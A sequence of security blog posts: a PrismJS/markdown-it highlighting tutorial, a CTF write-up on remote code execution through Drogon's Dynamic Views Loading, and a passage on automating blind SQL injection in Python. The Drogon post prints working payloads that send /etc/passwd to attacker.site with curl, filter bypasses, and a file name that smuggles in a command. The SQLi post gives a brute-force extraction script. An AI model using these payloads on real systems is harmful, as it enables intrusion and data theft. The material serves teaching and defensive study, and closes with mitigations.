(Optional, if you want diff support.) Handle diff-* languages by loading the right language.
Wrap the escaped code in <div><pre><code> with the right attributes⁵, convert it to a DOM element, highlight it to Prism.highlightElement, then return the rendered HTML.
We also moved the attributes to <pre> instead of <code>, which is required for PrismJS to function properly.

The most important part is step 3, where we call Prism magic with .highlightElement.

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   ...
+  const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+  const el = textToDOM(result)
+  Prism.highlightElement(el.firstChild.firstChild.firstChild)
+  return el.firstChild.firstChild.outerHTML
   ...
 }

See Full Changes

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   const token = tokens[idx];
   const info = token.info ? unescapeAll(token.info).trim() : '';
   ...
 
-  let highlighted
-  if (options.highlight) {
-    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
-  } else {
-    highlighted = escapeHtml(token.content)
-  }
+  const escaped = escapeHtml(token.content) // 1
 
-  if (highlighted.indexOf('<pre') === 0) {
-    return highlighted + '\n'
-  }
 
   // If language exists, inject class gently, without modifying original token.
   // May be, one day we will add .deepClone() for token and simplify this part, but
   // now we prefer to keep things local.
   if (info) {
     const i = token.attrIndex('class')
     const tmpAttrs = token.attrs ? token.attrs.slice() : []
     
     if (i < 0) {
       tmpAttrs.push(['class', options.langPrefix + langName])
     } else {
       tmpAttrs[i] = tmpAttrs[i].slice()
       tmpAttrs[i][1] += ' ' + options.langPrefix + langName
     }
       
     // Fake token just to render attributes
     const tmpToken = {
       attrs: tmpAttrs
     }
 
+    // Make sure language is loaded. // 2
+    if (langName.startsWith('diff-')) {
+      const diffRemovedRawName = langName.substring('diff-'.length)
+      if (!Prism.languages[diffRemovedRawName])
+        PrismLoad([diffRemovedRawName])
+    } else {
+      if (!Prism.languages[langName])
+        PrismLoad([langName])
+    }
     
     // 3, 4
+    // Some plugins such as toolbar venture into codeElement.parentElement.parentElement,
+    // so we'll wrap the `pre` in an additional `div` for class purposes.
+    const preAttrs = slf.renderAttrs(tmpToken)
+    const codeClasses = options.langPrefix + langName
+    const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+    const el = textToDOM(result)
+    Prism.highlightElement(el.firstChild.firstChild.firstChild)
+    return el.firstChild.firstChild.outerHTML
-    return `<pre><code${slf.renderAttrs(tmpToken)}>${highlighted}</code></pre>\n`
   }
 
   // 4
+  return `<pre${slf.renderAttrs(token)}><code>${escaped}</code></pre>\n`
-  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
 }

_(collapse)

If you're using an SSR framework or SSG, you'll need to first access the MarkdownIt object.

In 11ty, for instance, we can access it like so:

eleventyConfig.amendLibrary('md', mdLib => {
  mdLib.renderer.rules.fence = function (...) { ... }
});

Step 3: Use `markdown-it-attrs`

To add attributes to your codeblocks, introduce markdown-it-attrs to your MarkdownIt object.

You can now add attributes and classes to your codeblocks which will then be parsed by Prism.

For instance, this:

```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log("Hello world!");
}
```

becomes:

function hello() {
  console.log("Hello world!");
}

In 11ty, markdown-it-attrs is incompatible with eleventy-plugin-syntaxhighlight due to the way codeblocks are parsed.

Step 4: (Optional) Modify Plugins

With those two changes, we have all we need to start importing fancy plugins!

In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:

modding line-numbers for compatibility with command-line and diff (Yes, this doesn't really make sense, but who knows if I'll need it in the future?)
modding show-language to display the base language when the highlight language is diff-*.

You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a data-rw-prompt attribute is specified.⁶ This is useful for long prompts, which may cover the entire screen's width when scrolling on a phone.

@media (max-width: 576px) {
    /* rw-prompt: response width prompt */
    pre[data-rw-prompt] .command-line-prompt {
        display: none;
    }
}

And here it is in action on some notes. Try viewing on both mobile and computer (or use your browser DevTools).

Get-DomainTrust -domain dollarcorp.moneycorp.local

SourceName      : dollarcorp.moneycorp.local
TargetName      : moneycorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/12/2022 5:59:01 AM
WhenChanged     : 9/25/2024 10:12:06 PM

Benchmarking DOM Libraries

Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.

Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for a significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: JSDOM, domino, and LinkeDOM.

^{Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM. Lower time = faster.}

Library	Mean (ms)	Min. (ms)	Max. (ms)
JSDOM	583	492	1007
domino	265	227	477
LinkeDOM	280	214	666

Benchmark Details and CLI Output

The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found here.

node eleventy/benchmarks/codeblocks
Running: JSDOM
[auto] Target 199 runs (~604ms/run) in 120s.
 --- [JSDOM] ---
 - 199 runs
 - mean: µ=582.964ms / σ=70.796ms
 - minmax: 491.888ms / 1007.477ms

Running: domino
[auto] Target 454 runs (~264ms/run) in 120s.
 --- [domino] ---
 - 454 runs
 - mean: µ=265.399ms / σ=42.418ms
 - minmax: 226.817ms / 476.795ms

Running: LinkeDOM
[auto] Target 444 runs (~270ms/run) in 120s.
 --- [LinkeDOM] ---
 - 444 runs
 - mean: µ=279.861ms / σ=69.691ms
 - minmax: 214.418ms / 666.151ms

_(collapse)

Moreover, domino has 0 dependencies — it's basically written from the ground up! JSDOM has 21 dependencies. A lower number of dependencies reduces the attack surface of an application; and with increasing reports of supply chain attacks, it's good to limit such risks.

Small update: In a funny twist of events, while I did end up choosing domino initially, I switched over to JSDOM later on. This is because I wanted to use the prism-keep-markup plugin to be able to apply <mark> highlighting inside code blocks. Under the hood, the plugin requires document.createRange which domino's API sadly does not provide. This is a temporary solution; which is to say, I was lazy and didn't want this roadblock to eat up too much time. I may or may not look towards handrolling/simulating document.createRange with a custom function. If you have an alternative, I would welcome it.

Final Remarks

I'll be the first to admit — this is a rather crude hack with some loose ends.⁷ But it works! Not to mention, it looks nice with enough CSS! And to some that's all that matters.

For those interested in the code, you can check it out here:

Just copy the module into your build and load it.

Here are a few other customisations to plugins I made.

copy-to-clipboard: plugin / js / css
line-numbers: plugin / css
show-language: plugin
command-line: css
toolbar: css
diff: css (based on a Eleventy customisation)

Footnotes

Instead of monkeypatching the environment (and potentially affecting other libraries), we could also just write new code using regex to modify HTML, removing the requirement for a DOM altogether. But let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you're placing trust in a library to be spec-compliant. By handwriting regex, you're placing trust in your code (and regex!) to work. Which would you rather have? ↩︎
Not that I have any red teaming writeups, but I foresee the possibility of such posts in the future. ↩︎
To be fair, there's an argument to be made for "not running these commands all at once". Failure isn't handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). ↩︎
Unlike JSDOM, domino doesn't have a "create fragment from HTML" function, so template is the suggested workaround. ↩︎
Normally, wrapping it in <pre><code> is sufficient. But some plugins such as toolbar will traverse up to the parent of pre, so... <div><pre><code>. Yay, more workarounds! ↩︎
Here, rw stands for responsive width. ↩︎
It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I'll leave this as an exercise for the front-end engineers. ↩︎

Dynamic Views Loading – Abusing Server Side Rendering in Drogon

2024-08-18T00:00:00Z

Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from exploring zip attacks in Juce to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).

In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?¹

At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?

This turned out to be a fascinating endeavour, as there happen to be a ton of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.

^{Every time I find an unintended solution, a new one is just around the corner.}

Drogon Redux

Drogon is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.

Drogon's server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as <%inc ... %>, <%c++ ... %>, and {% ... %}, which are evaluated when rendered.

Simple View Example

Here's a simple example of a CSP:

<!DOCTYPE html>
<html>
<body>
<%c++ if (true) { %>
    <h1>Hi [[ name ]]</h1>
<%c++ } else { %>
    <h1>Bye [[ name ]]</h1>
<%c++ } %>
</body>
</html>

We can specify C++ control-flow logic with <%c++ ... %> and substitute variables with [[ ... ]].

To render this file, we'll call newHttpViewResponse and pass a name from the URL endpoint:

app().registerHandler(
    "/hello/{}",
    [](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& name) {
        HttpViewData data;
        data.insert("name", name);
        auto resp = HttpResponse::newHttpViewResponse("Example.csp", data);
        callback(resp);
    });

After starting the server, we can run curl 127.0.0.1:8080/hello/Picard and observe the following HTML:

<!DOCTYPE html>
<html>
<body>
    <h1>Hi Picard</h1>
</body>
</html>

Why Use Dynamic Views?

This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.

To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:

"load_dynamic_views": true,
"dynamic_views_path": ["./views/d"],

or use the C++ equivalent:

app().enableDynamicViewsLoading({"./views/d"}, "./views/d");

Drogon will then actively monitor the file path for new/modified .csp files.

Dynamic Views: Compilation and Loading

How do dynamic views work in Drogon?

After all, C++ is compiled, not interpreted.

But it's possible to load compiled code at runtime through shared objects. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:

^{Flow Chart of Dynamic Views Loading}

The user writes a .csp file to the dynamic view path. The rest is up to Drogon.
Drogon detects the new/modified .csp files.
Drogon translates the .csp to a regular C++ .h and .cc file, using the drogon_ctl command-line tool.
The .cc is compiled into a shared object (.so) using the -shared flag.
The .so is loaded with dlopen, after previous versions are unloaded with dlclose.²
The new/updated view can now be used in application code.

All of this happens in SharedLibManager.cc. Feel free to take a gander.

From CSP Markup to C++

Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?

This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...

drogon_ctl create view Example.csp

which generates Example.h and Example.cc.

Let's look at how C++ is generated from markup.

<%c++ ... %> - content inside this tag is inserted into a genText() function.

<h1>Example</h1>
<%c++ int a = 40 + 2; $$ << a; %>
<h2>Hello world!</h2>

// Boilerplate: includes...
using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    int a = 40 + 2; Example_tmp_stream << a; 
    Example_tmp_stream << "<h2>Hello world!</h2>\n";
    // Boilerplate: convert stream to string and return...
}

Example_tmp_stream is a stringstream used to prepare the final HTML. Eventually, it gets converted to a string and returned.

{% ... %} - equivalent to <%c++ $$ << ... %>, it just echoes the expression. The closing %} must be on the same line as the opening {%.

<%inc ... %> - meant for including additional libraries. Code is placed in file-level scope.

<%inc
#include <algorithm>
#define MY_MACRO
void my_function() {}
%>
<h1>Example</h1>

// Boilerplate: includes...
#include <algorithm>
#define MY_MACRO
void my_function() {}

using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    // Boilerplate: convert stream to string and return...
}

[[ ... ]] - for inserting data passed from application code.

<h1>Hi [[name]]!</h1>

// ...
Example_tmp_stream << "<h1>Hi ";
{
    auto & val=Example_view_data["name"];
    if(val.type()==typeid(const char *)){
        Example_tmp_stream<<*(std::any_cast<const char *>(&val));
    }else if(val.type()==typeid(std::string)||val.type()==typeid(const std::string)){
        Example_tmp_stream<<*(std::any_cast<const std::string>(&val));
    }
}
Example_tmp_stream << "!</h1>\n";
// ...

Attack Vectors

There are countless attack vectors to address.

RCE via Rendered CSP. First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
Bypasses. We'll survey common functions and tricks to bypass a denylist.
RCE via Init Section. Here, we'll trigger RCE without rendering the view.
RCE via File Name. Finally, we'll discuss a harrowing insecurity in the DVL code path.

Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.

1. RCE via Rendered CSP

Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual system and execve functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.

<%c++
    system("curl http://attacker.site --data @/etc/passwd");
%>

To trigger this RCE, the application code needs to render the view with HttpResponse::newHttpViewResponse("Example.csp").

The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.

^{A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling newHttpViewResponse.}

2. Bypassing Simple Denylists

If the loophole resides in a few key functions, can't we simply block those functions?

No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C's baggage. There are many ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.

This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it's difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.³

The only solution, really, is to not enable DVLs. More on mitigations later.

A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.

File Read/Write with `fstream`, `fopen`

<%inc
#include <fstream>
#include <sstream>
%>
<%c++
    std::ifstream ifs{"/etc/passwd"};
    if (ifs.is_open()) {
        $$ << ifs.rdbuf();
    } else {
        $$ << "Failed to open file.";
    }
%>

File Read/Write with `open`, `read`

If high-level file IO isn't an option, we could always resort to the lower-level Linux functions.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    read(open("/etc/passwd", 0), buffer, 99);
    $$ << buffer;
%>

File Read/Write, RCE with `syscall`

We can go one level deeper using the syscall() function. This allows us to call the usual open, read, write, execve syscalls, albeit less readably.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    syscall(0, syscall(2, "/etc/passwd", 0       ), buffer, 99);
//  read(      open(      "/etc/passwd", O_RDONLY), buffer, 99);
    $$ << buffer;
%>

Thanks to syscall 59, we can also run execve to achieve RCE.

<%inc
#include <unistd.h>
%>
<%c++
    const char* argv[] = {
        "/usr/bin/curl",
        "http://attacker.site",
        "--data",
        "@/etc/passwd",
        NULL
    };
    syscall(59, "/usr/bin/curl", argv, 0);
%>

Handy Reference: Linux x86 Syscalls - filippo.io

File Read with `mmap`

After opening and creating a file descriptor via open or syscall(2, ...), we can also use mmap to perform a read instead of the usual read.

<%inc
#include <unistd.h>
#include <sys/mman.h>
%>
<%c++
    $$ << (char*)mmap(NULL, 99, 1, 2, syscall(2,"/etc/passwd", 0), 0);
    // mmap(addr, length, memory_protection, flags, fd, offset)
%>

File Read/Write, RCE via Inline Assembly

Pretty much any syscall in C can be translated to assembly, and GCC's extended assembly makes it convenient to pass input and output.

The following CSP opens and reads /etc/passwd into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.

<%c++
    char file[] = "/etc/passwd", buffer[256] = {0};
    asm(R"(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )"
        : : "b" ( file ), "d" ( buffer )
    );
    $$ << buffer;
%>

"b" ( file ) and "d" ( buffer ) are inputs to our asm procedure. The letters b and d refer to the %rbx and %rdx register. I chose these registers specifically to avoid conflicts. (%rax gets written with 2 on the first line, %rcx gets overwritten by the first syscall.)

Exercises for the reader:

Try to figure out how the assembly maps to the C syscalls in the previous sections.
buffer is technically an output, so why do we treat it as an input?
Demonstrate RCE by using the execve syscall.

Blocking the keyword syscall will not work here. We can bypass it with a simple sys" "call, since adjacent strings are concatenated in C/C++ ("a" "b" == "ab"). To properly block such calls, we would need to block the functions invoking inline assembly, such as asm.

Handy Reference: Using Inline Assembly in C/C++

Local File Inclusion with `#include`

Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then #include-ing it in the CSP. All #include really does is copy-paste the included file's content, which then gets compiled as C/C++ code.

Example.csp - with stringent checks on denied words.
```
<%inc #include "safe.txt" %>
```
Example.csp
C++ Server Pages
safe.txt - other C++ code which gets a free pass, possibly using a technique above.
```
system("curl http://attacker.site --data @/etc/passwd");
```
safe.txt
C++

This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.

I'll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.

Bypass Denylists with Macro Token Concatenation (`##`)

C/C++ macros have some quirky features:

#: Converts a macro argument's value to a string.
```
#define STR(X) #X
// STR(abc) == "abc"
```
C++

##: Joins two arguments.

#define GLUE(X, Y) X ## Y
GLUE(c, out) << "hello world!" << GLUE(e, ndl); // cout << "hello world!" << endl;

#define GLUE2(X) X ## _literally
int GLUE2(var) = 1; // int var_literally = 1;

The second feature allows us to bypass denylists which only match full words.

For instance, if a denylist blocks system, we can do GLUE(s, ystem).

<%inc #define GLUE(X, Y) X ## Y %>
<%c++
    GLUE(s, ystem)("curl http://attacker.site --data @/etc/passwd");
%>

3. RCE via Init Section

The previous tricks use <%c++ which only executes when the view is rendered. But what if I told you we can execute code without even rendering the view?

That's right, all we need is to load the .so to execute code!

^{Using <%c++ will execute code when "View is Rendered", but by strategically placing code in the .init section of the binary, we can get code to execute right after loading the .so!}

Let's look at a few examples of how we can achieve this tomfoolery.

Init Section via `<%inc`

There are various ways to run code prior to main(). We can make use of the fact that <%inc places code in file scope.

<%inc
// 1. Assign variable with function call.
int a = system("curl http://attacker.site --data @/etc/passwd");

// 2. To run more code, we can create a function first.
int foo() {
    return system("curl http://attacker.site --data @/etc/passwd");
}
int b = foo();

// 3. GCC attributes - gets called automatically.
__attribute__((constructor))
void bar() {
    system("curl http://attacker.site --data @/etc/passwd");
}
%>

When compiled, all of this is placed in the .init_array section, which allows multiple function pointers to be called during initialisation.

Escaping Function Scope with `<%c++` and `[[`

Blocking <%inc is not enough. Even with <%c++ and [[, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the genText() function.

We demonstrate this with the following CSP:

<%c++ 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
%>

and here's the generated C++:

// Boilerplate: includes...
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    // Boilerplate: convert stream to string and return....

The same idea goes for variable markup [[...]], the only difference being whitespace is not allowed.

<h1>Hi [[name"];}}__attribute__((constructor))void/**/injected(){system("...");}std::string/**/dummy(const/**/DrTemplateData&data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{""};{auto&val=data["]]</h1>

Likewise for <%layout and <%view. (Left as an exercise for the reader.)

Thought that was the worst we could do? It gets worse.

4. RCE via File Name

Remember how Drogon runs drogon_ctl to convert .csp files to .cc files? Guess how this command is run.

That’s right, system() is called. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!

Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named foo$(curl attacker.site/abcd) will be treated as a folder (foo$(curl attacker.site/) + a file (abcd)).

Takeaways and Mitigations

Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.

So what did we learn?

Drogon, at the moment, does not sandbox or properly sanitise CSP content.⁴ This is by design, since CSPs inherently contain trusted content.
There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
1. RCE via Rendered CSP
2. RCE via Init Section
3. RCE via File Name
Denylists need to consider a wide range of bypass methods.

And mitigations?

Don't enable Dynamic Views Loading, unless you're in a local dev environment. Switch off DVL after using.
Don't allow untrusted input to be compiled and loaded as views; statically or dynamically.
Protecc your dynamic views directory. Don't allow untrusted files to be written there.
- It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once drogon_ctl is run, an RCE endpoint is already exposed.
If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
- If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's too late: Drogon kicks in and devours the CSP.
^{Defensive filtering, if any, should occur before CSP files are written.}

Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer's stance, DVLs are purely meant for development:

Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability. (Source)

Conclusion

Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we've demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.

^{Nice View: the Dragon's Back Hiking Trail in Hong Kong Island.}

Footnotes

This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. ↩︎
dlopen seems to only be available on Unix-like machines. ↩︎
Whitelisting a program's AST could prove effective, but this requires us to first generate an AST — a non-trivial problem. ↩︎
At the time of writing, I'm using Drogon version 1.9.1. ↩︎

Automating Boolean-Based SQL Injection with Python

2024-08-10T00:00:00Z

When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.

Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We'll mainly focus on high-level approaches towards automation and keep our code snippets short.

The end result is a script which automates network requests and brute-forcing into a nice interface:

^{Demo of the Python script in a CTF challenge.}

What a long name.

Let’s break it down from right to left:

SQL Injection: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.
Blind: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
- Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based implies Blind.
Boolean-Based: the attacker crafts SQL queries that return a TRUE or FALSE response based on the injected conditions. This could appear as:
- different status codes (e.g. 302 redirect on success, 401 on fail),
- different response body (e.g. error messages, full search results), or
- (rarely) different headers (e.g. Set-Cookie).

By carefully analysing the application's response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.

Each DBMS has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the SUBSTRING() function and convert them to numbers with ASCII().¹

By comparing the values with ASCII numbers, we can determine the character stored.

Simple SQLi Example

So what does this look like practically?

Here we have a simple Flask server with an in-memory SQLite database containing a login endpoint. The login() function is simple: check if the username and password exists in the DB. If it exists, then login is successful.²

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # Check if username/password exists.
    query = "SELECT * FROM users WHERE username='{}' AND password='{}'".format(username, password)
    c = conn.cursor()
    c.execute(query)
    user = c.fetchone()

    if user:
        return 'Login successful!'
    else:
        return 'Login failed.'

This is vulnerable to SQL injection, since the username and password parameters are formatted into the query without any sanitisation and without using prepared statements. But this is blind SQLi, because the results are not returned, only "Login successful" or "Login failed".

To exploit this, we start by crafting a proof-of-concept. We'll pass ' OR 1=1-- to the username parameter, transforming the query into:

SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='...'

where everything after -- is treated as a comment.

Since 1=1 is always true, all users will be selected, and the page returns: "Login successful".

Using this, we can detect TRUE responses by checking if the body contains "success".

Moreover, we can leak further information by changing 1=1 to other guessy queries. For instance, we can use this bad boy — UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51 — to test if the first character of sqlite_version() is '3'. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.

We can use this simple script to brute-force the remaining characters:

import requests

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    url = 'http://127.0.0.1:5000/login'
    data = {
        'username': '1',
        'password': f"' OR UNICODE(SUBSTRING({sql_query}, {idx}, 1)) = {guess} -- "
    }
    r = requests.post(url, data=data)
    return 'success' in r.text

max_data_len = 256
final_data = ''

# SQL's SUBSTRING uses 1-based indexing.
for idx in range(1, max_data_len):
    for guess in range(1, 128):
        if check_sql_value('sqlite_version()', idx, guess):
            final_data += chr(guess)
            print(final_data)
            break
    else:
        # No valid ASCII chars found. Probably end of string.
        break

Output:

_(collapse)

Optimisations with Binary Search

One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.³

This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.

Normally, binary search relies on three possible outputs for a test: =, <, and >. But it is possible to make do with just two possible outputs: < and >=. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.

def binary_search(val: int, low: int, high: int) -> int:
    """Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        print(f'{low:3} - {high:3}\tGuess: {mid:4}')
        if val < mid:
            high = mid  # Eliminate upper half.
        else:
            low = mid   # Eliminate lower half.

Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).

print('result:', binary_search(125, 0, 128))
  0 - 128       Guess:   64
 64 - 128       Guess:   96
 96 - 128       Guess:  112
112 - 128       Guess:  120
120 - 128       Guess:  124
124 - 128       Guess:  126
124 - 126       Guess:  125
result: 125

In the code snippets above, val is known for demo purposes. But in reality, val is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let's replace the val comparisons with a function check_sql_value() which sends network requests.

def binary_search(sql_query: str, idx: int, low: int, high: int) -> int:
    """Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        if check_sql_value(sql_query, idx, mid):
            high = mid
        else:
            low = mid

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    # Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) < guess.
    # And then check if the response is a TRUE or FALSE response.
    ...

for idx in range(1, 256):
    val = binary_search("@@version", idx, 0, 128)
    # Handle `val`...

The idea here is we can pass an SQL query, such as @@version or sqlite_version(), followed by the index and expected ranged.

binary_search("@@version", idx, low, high)

We can make the code more generic or flexible, but the underlying idea is there.

More SQL Tricks

Not all types of data are easy to exfiltrate. Here are some tricks I've picked up (some of which could be scripted):

Use subqueries to select data from arbitrary tables.
- e.g. ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))
Use GROUP_CONCAT to combine multiple rows into one row. This function is available in MySQL and SQLite.
- Subqueries only work when 1 row and 1 column is selected.
- Occasionally, there is a lot of data across multiple rows.
  - We can use LIMIT (or TOP for SQL Server) to restrict the data to one row.
  - Or we could GROUP_CONCAT to capture more data in a single subquery. Then there would be one less number to change.
Cast SQL output to char/varchar to capture numbers, dates, and other types.
- e.g. CAST(id AS VARCHAR(32)) in MySQL
- Cast with NULL, may not work. Additional NULL-checks may be needed.

Adding Multithreading

Now that we've optimised the reading of a single character, can we also speed up the reading of an entire string?

Yes! Thanks to concurrency! For this, we'll reach for Python's built-in concurrent.futures library, which provides several high-level threading tools. The choice boils down to using threads (via ThreadPoolExecutor) or processes (ProcessPoolExecutor), and considering how data/processing is distributed.

Threads vs. Processes

Time for a quick comparison.

Threads:

lightweight and quick to create
shares memory with main process
one GIL to rule them all
recommended for IO-bound tasks (network, requests)

Processes:

slower to create
doesn't share memory
each process has their own GIL
recommended for CPU-bound tasks (intense computations, calculations)

Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.

Reference: StackOverflow – Multiprocessing vs. Threading in Python

Using ThreadPoolExecutor

In the end, I used ThreadPoolExecutor, since our code was constrained by network requests. The shared memory also means we don't need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.

In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.

We can process finished tasks as they roll in using concurrent.futures.as_completed.

with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
    future_map = {}

    # Create a task for each character.
    for idx in range(length):
